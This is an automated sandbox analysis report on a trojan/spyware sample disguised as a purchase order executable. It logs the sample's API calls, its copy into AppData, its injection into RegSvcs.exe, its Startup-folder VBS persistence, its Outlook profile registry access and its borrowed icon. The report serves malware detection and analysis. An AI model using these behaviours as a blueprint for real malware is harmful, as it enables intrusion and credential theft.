Source: 2.2.name.exe.3740000.1.raw.unpack, B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.name.exe.3740000.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 2.2.name.exe.3740000.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.name.exe.3f40000.1.raw.unpack, B-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.name.exe.3f40000.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.name.exe.3f40000.1.raw.unpack, ---.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: 2.2.name.exe.3740000.1.raw.unpack, B-.cs	Base64 encoded string: 'Yxx9G1k1Vx3FA0TKFEkiYt3oF5YJ2ut2rc/PxqpuHv7alCYYPONcqB8Tvfg1/Q3g'
Source: 5.2.name.exe.3f40000.1.raw.unpack, B-.cs	Base64 encoded string: 'Yxx9G1k1Vx3FA0TKFEkiYt3oF5YJ2ut2rc/PxqpuHv7alCYYPONcqB8Tvfg1/Q3g'

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winEXE@10/3@8/5

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0044AF6C GetLastError,FormatMessageW,

0_2_0044AF6C

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,	0_2_004333BE
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,	0_2_00464EAE
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_004333BE GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,	5_2_004333BE
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00464EAE OpenProcess,GetLastError,GetLastError,GetCurrentThread,OpenThreadToken,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,AdjustTokenPrivileges,GetLastError,OpenProcess,AdjustTokenPrivileges,CloseHandle,TerminateProcess,GetLastError,CloseHandle,	5_2_00464EAE

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0045D619 SetErrorMode,GetDiskFreeSpaceW,GetLastError,SetErrorMode,

0_2_0045D619

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_004755C4 CreateToolhelp32Snapshot,Process32FirstW,__wsplitpath,_wcscat,__wcsicoll,Process32NextW,CloseHandle,

0_2_004755C4

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0047839D CoInitialize,CoCreateInstance,CoUninitialize,

0_2_0047839D

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0043305F __swprintf,__swprintf,__wcsicoll,FindResourceW,LoadResource,LockResource,FindResourceW,LoadResource,SizeofResource,LockResource,CreateIconFromResourceEx,

0_2_0043305F

Source: C:\Users\user\Desktop\New Order PO#86637.exe

File created: C:\Users\user\AppData\Local\directory

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\New Order PO#86637.exe

File created: C:\Users\user\AppData\Local\Temp\disturb

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs"

Source: New Order PO#86637.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\New Order PO#86637.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: New Order PO#86637.exe

ReversingLabs: Detection: 42%

Source: C:\Users\user\Desktop\New Order PO#86637.exe

File read: C:\Users\user\Desktop\New Order PO#86637.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\New Order PO#86637.exe "C:\Users\user\Desktop\New Order PO#86637.exe"
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Process created: C:\Users\user\AppData\Local\directory\name.exe "C:\Users\user\Desktop\New Order PO#86637.exe"
Source: C:\Users\user\AppData\Local\directory\name.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\New Order PO#86637.exe"
Source: unknown	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\directory\name.exe "C:\Users\user\AppData\Local\directory\name.exe"
Source: C:\Users\user\AppData\Local\directory\name.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\directory\name.exe"
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Process created: C:\Users\user\AppData\Local\directory\name.exe "C:\Users\user\Desktop\New Order PO#86637.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\Desktop\New Order PO#86637.exe"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\directory\name.exe "C:\Users\user\AppData\Local\directory\name.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Users\user\AppData\Local\directory\name.exe"	Jump to behavior

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\directory\name.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: New Order PO#86637.exe

Static file information: File size 1332869 > 1048576

Source:	Binary string: wntdll.pdbUGP source: name.exe, 00000002.00000003.2096037101.0000000004590000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000002.00000003.2097615402.0000000004730000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000003.2224019871.0000000003F90000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000003.2223130038.00000000049D0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: name.exe, 00000002.00000003.2096037101.0000000004590000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000002.00000003.2097615402.0000000004730000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000003.2224019871.0000000003F90000.00000004.00001000.00020000.00000000.sdmp, name.exe, 00000005.00000003.2223130038.00000000049D0000.00000004.00001000.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\New Order PO#86637.exe

Code function: 0_2_0040EBD0 LoadLibraryA,GetProcAddress,

0_2_0040EBD0

Source: New Order PO#86637.exe	Static PE information: real checksum: 0xa961f should be: 0x1493cf
Source: name.exe.0.dr	Static PE information: real checksum: 0xa961f should be: 0x1493cf

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00416CB5 push ecx; ret	0_2_00416CC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_0298891E pushad ; iretd	3_2_0298891F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02988C2F pushfd ; iretd	3_2_02988C30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_02988DDF push esp; iretd	3_2_02988DE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 3_2_06549242 push es; ret	3_2_06549244
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00416CB5 push ecx; ret	5_2_00416CC8
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_04648A6A pusha ; ret	5_2_04648B41
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF87E7 pushad ; iretd	6_2_04CF87EA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF878F push esi; iretd	6_2_04CF8792
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF878B push esi; iretd	6_2_04CF878E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8787 push esi; iretd	6_2_04CF878A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8783 push ebp; iretd	6_2_04CF8786
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8743 push eax; iretd	6_2_04CF8752
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF875F push edx; iretd	6_2_04CF8762
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF875B push edx; iretd	6_2_04CF875E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8757 push ecx; iretd	6_2_04CF875A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8753 push eax; iretd	6_2_04CF8756
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF876F push ebx; iretd	6_2_04CF8772
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF876B push ebx; iretd	6_2_04CF876E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8767 push edx; iretd	6_2_04CF876A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8763 push edx; iretd	6_2_04CF8766
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF877F push ebp; iretd	6_2_04CF8782
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF877B push ebx; iretd	6_2_04CF877E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8777 push ebx; iretd	6_2_04CF877A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF8773 push ebx; iretd	6_2_04CF8776
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 6_2_04CF880F push 688704CFh; iretd	6_2_04CF8816

Source: C:\Users\user\Desktop\New Order PO#86637.exe

File created: C:\Users\user\AppData\Local\directory\name.exe

Jump to dropped file

Boot Survival

Drops VBS files to the startup folder

Source: C:\Users\user\AppData\Local\directory\name.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs

Jump to dropped file

Source: C:\Users\user\AppData\Local\directory\name.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs

Jump to behavior

Source: C:\Users\user\AppData\Local\directory\name.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\name.vbs

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Source: initial sample

Icon embedded in binary file: icon matches a legit application icon: download (8).png

Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	0_2_0047A330
Source: C:\Users\user\Desktop\New Order PO#86637.exe	Code function: 0_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,	0_2_00434418
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_0047A330 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	5_2_0047A330
Source: C:\Users\user\AppData\Local\directory\name.exe	Code function: 5_2_00434418 GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,	5_2_00434418

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
